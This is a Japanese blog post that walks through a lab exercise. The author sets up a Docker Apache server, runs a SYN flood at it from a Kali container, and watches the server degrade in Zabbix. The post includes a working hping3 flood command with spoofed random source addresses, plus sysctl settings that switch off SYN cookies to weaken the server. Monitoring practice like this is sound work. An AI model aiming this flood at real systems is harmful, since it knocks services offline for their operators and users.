この記事は
↓の記事へのリスペクト記事です
DDoS攻撃を受けてWebサービスがダウンしていく様子を『Zabbix』で監視してみました
Dockerネットワーク内でWEBサーバーへ負荷をかけて
その様子をZabbixで監視します
前の記事でzabbixエージェントをつくったので
その延長でさらにエージェントを追加し、そいつにはWEBサーバーを役を担わせます
注意
一般のサイトに攻撃すると法に抵触するおそれがあります
WEBサーバーをDockerにたてる
60080
ポートでHTTPアクセスを受け付けるようにしたこと以外は前の記事とほぼ同じ
もちろんWEBサーバーになってもらうためのパッケージが必要なので
apache2
をインストールしてサービスを起動する
docker run --name zabbix-agent-web --hostname ZabbixAgentWeb -e ZBX_HOSTNAME="agent-web" -e ZBX_SERVER_HOST="172.20.240.0" --privileged --network=zabbix-net -p 60010:10050 -p 60080:80 -d zabbix/zabbix-agent:ubuntu-6.0.11
# コンテナに入る
docker container exec -u root -it zabbix-agent-web /bin/bash
# 必要なパッケージをインストールする
apt update
apt install -y vim iproute2 iputils-ping curl net-tools
apt install -y apache2
# WEBサービスを起動する
service apache2 status
service apache2 start
サーバーが動いていることを確認する
curl --head localhost
で200 OK
なら成功
HTTP/1.1 200 OK
ホストからlocalhost:60080
へブラウザからアクセスしたときのようす
ほかサーバーと区別するために、vim /var/www/html/index.html
でタイトルを少し編集しておいた
Zabbixサーバーへホストを登録する
前の記事の手順にしたがって、Zabbixエージェントをサーバーへ登録する
60010
ポートからコンテナ内のWEBサーバー役エージェントを監視する
WEBサーバーを弱体化させる
甘んじて攻撃を受けてもらうために、サーバーの許容値を大きくして
さらにtcp_syncookies=0
(無効化)する
本番環境のLinuxマシンでは絶対にやらないこと
net.ipv4.tcp_syncookies=0
net.core.somaxconn = 65535
net.core.netdev_max_backlog = 16384
net.ipv4.ip_local_port_range = 1024 65535
kernel.threads-max = 1060863
fs.file-max = 5242880
net.ipv4.tcp_max_syn_backlog = 65535
net.ipv4.tcp_fin_timeout=600
sysctl -p
で設定を有効化
攻撃者をzabbix-net
に参加させる
docker hubの公式イメージを使ってKali LinuxをDockerに建てる
docker run -it --name zabbix-kali --hostname KaliPC --privileged --network=zabbix-net -d kalilinux/kali-rolling
docker container exec -u root -it zabbix-kali /bin/bash
# パッケージのインストールに15分以上かかった...
apt update && apt -y install kali-linux-headless
SYNフラッディング攻撃
Kali Linuxならではのコマンドで簡単に攻撃できる
hping3 -V -i u1 -S -p 80 ZabbixAgentWeb --rand-source
- 短周期で80番ポートに対してSYNパケットを送り付ける
- 送り元のIPアドレスはランダムになる
サーバーはクライアントからのACK待ちになりリソースが消費される
サーバー側のようす
SYN_RECV
がたくさん溜まっている
tcp 0 0 172.20.240.8:10050 172.20.240.0:51802 TIME_WAIT
tcp 0 0 172.20.240.8:80 100.124.160.72:62780 SYN_RECV
tcp 0 0 172.20.240.8:80 13.236.147.53:62762 SYN_RECV
tcp 0 0 172.20.240.8:80 160.52.0.11:1108 SYN_RECV
tcp 0 0 172.20.240.8:80 18.185.137.249:62667 SYN_RECV
tcp 0 0 172.20.240.8:80 1.56.119.200:62765 SYN_RECV
tcp 0 0 172.20.240.8:80 158.151.112.217:10141 SYN_RECV
tcp 0 0 172.20.240.8:80 157.132.214.46:62772 SYN_RECV
tcp 0 0 172.20.240.8:10050 172.20.240.0:51498 TIME_WAIT
tcp 0 0 172.20.240.8:80 124.35.27.1:10653 SYN_RECV
tcp 0 0 172.20.240.8:80 151.36.176.69:10671 SYN_RECV
tcp 0 0 172.20.240.8:80 222.41.88.224:10709 SYN_RECV
tcp 0 0 172.20.240.8:80 164.47.40.249:10094 SYN_RECV
tcp 0 0 172.20.240.8:80 2.88.100.152:10607 SYN_RECV
tcp 0 0 172.20.240.8:80 190.207.35.221:10689 SYN_RECV
tcp 0 0 172.20.240.8:80 208.119.220.198:62709 SYN_RECV
tcp 0 0 172.20.240.8:10050 172.20.240.0:50820 TIME_WAIT
tcp 0 0 172.20.240.8:80 197.48.23.70:1123 SYN_RECV
正規の通信もふくめて、534の通信がある
534
Zabbixからみたサーバーのようす
WEBシナリオを作成する
設定→ホスト→Web→右上の「Webシナリオの作成」
ダイアログに宛先URL192.168.10.101:60080
や期待値200
などを入力する
通常時
攻撃されているとき
赤文字でタイムアウトが表示されている
リスペクト先のサイトのように、ステータス500
にすることはできなかった
まとめ
DockerネットワークにApacheウェブサイトをつくり
Kali LinuxからSYNパケットを大量に送り付けた
そのときのようすをZabbixで監視した
Zabbixでは確かにステータスが異常になったが
Apacheが動作しなくなるほどの負荷をかけることはできなかった
参考